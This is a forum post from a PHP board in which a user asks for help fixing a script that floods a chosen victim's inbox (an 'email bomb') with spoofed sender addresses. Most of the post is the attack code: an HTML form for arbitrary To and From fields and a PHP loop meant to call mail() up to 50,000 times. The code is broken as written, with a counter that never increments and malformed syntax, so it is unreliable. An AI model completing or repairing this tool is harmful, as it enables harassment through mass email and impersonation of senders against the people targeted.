1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Php Email Bomb, Help me.

Discussion in 'PHP' started by &ever, Oct 15, 2010.

  1. &ever

    &ever New Member

    Oct 15, 2010
    Likes Received:
    Trophy Points:
    Dear Programmers,
    I have stumbled on too an error and am in need of help, I am looking for a way to Fix my code that allows users to send an email bomb to the selected user with an email spoofer.
    First post :D
    Here is the code, pretty basic Probably something idiotically wrong. :p
    <form name="frmsendmail" method="post" action="" onSubmit="return ValidationForm()">
          <table width="100%"  border="0">
             <td width="33%" align="right" class="text">To : 
              <td width="67%"><input name="txtEmailto2" type="text" class="input" id="txtEmailto22" size="30" maxlength="100">
              <td align="right" class="text">From : 
              <td><input name="txtEmailfrm2" type="text" class="input" id="txtEmailfrm22" size="30" maxlength="100">
              <td align="right" class="text">Subject : 
            <td><input name="txtSub2" type="text" class="input" id="txtSub22" size="30" maxlength="100">
              <td align="right" class="text">Mesage(body) : 
             <td><textarea name="txtMsg" cols="50" rows="10" class="input" id="textarea"></textarea>
              <td align="right"><input name="hidSubmit" type="hidden" id="hidSubmit" value="true">
                  <input name="Submit" type="submit" class="input" value="Send">
              <td><input name="Submit2" type="reset" class="input" value="Reset">
       if(isset($hidSubmit)){Function {
    	   $mail = 1;
    do {
        mail("Client", "$mail_sub", "$mail_mesg", "$mail_to");
    }   while($mail < 50000);
    echo "<span class='red'>E-mail has been sent successfully from $mail_sub to $mail_to</span>";
    echo "<span class='red'>Failed to send the E-mail from $mail_sub to $mail_to</span>";
    Suspecting its a variable or the "<form>."
    I am also looking for a way to test custom script codes made in Dreamweaver without uploading them onto a test server or just the Internet, Like a simulator.
    Last edited by a moderator: Oct 15, 2010

Share This Page